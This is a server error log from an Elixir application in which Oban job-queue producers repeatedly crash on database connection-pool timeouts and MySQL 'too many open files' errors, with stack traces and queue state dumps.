[Sat Sep  5 23:18:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:18:38.243233Z], limit: 5, uuid: "8b25f44c-1e23-499e-8f95-0e2a8e6eccc5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:38.243238Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3456>, refresh_timer: #Reference<0.2525715032.1077411843.247305>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:18:38.243050Z], limit: 3, uuid: "43d2b677-64ba-4969-af14-db5cd1347d44", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:38.243057Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.115296>, refresh_timer: #Reference<0.2525715032.1121189889.115274>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:18:38.243175Z], limit: 20, uuid: "14d213e7-d48c-4132-af9c-bcabb26072e3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:38.243180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3455>, refresh_timer: #Reference<0.2525715032.1121189889.115279>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:18:38.242974Z], limit: 50, uuid: "5a05708c-f220-49f6-9b5a-dc58dd9f53a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:38.242980Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.115298>, refresh_timer: #Reference<0.2525715032.1077411843.247298>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:50.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:18:38.243593Z], limit: 5, uuid: "3f9fc087-1491-4c38-947c-a934da8fe5d9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:38.243599Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.115297>, refresh_timer: #Reference<0.2525715032.1099431938.15840>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:18:53.405000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:54.348000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:57.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:18:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:18:46.237468Z], limit: 10, uuid: "c1aa821b-21d3-4cba-b1c7-cd15f441ccba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:46.237475Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3681>, refresh_timer: #Reference<0.2525715032.1068498948.3673>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:00.004000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:18:50.239651Z], limit: 5, uuid: "d09adb3d-1b7c-4397-8971-14217cfe2caa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:50.239656Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3873>, refresh_timer: #Reference<0.2525715032.1121189889.115404>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:18:50.238029Z], limit: 3, uuid: "30bc7f44-7e12-46a9-b243-3a8b743d2eb7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:50.238036Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.3872>, refresh_timer: #Reference<0.2525715032.1068498948.3830>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:18:50.238228Z], limit: 20, uuid: "1738ab24-60ee-4ddd-ace5-3b00f68d8909", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:18:50.238233Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.247396>, refresh_timer: #Reference<0.2525715032.1077411843.247386>, dispatch_cooldown: 5, running: %{}}
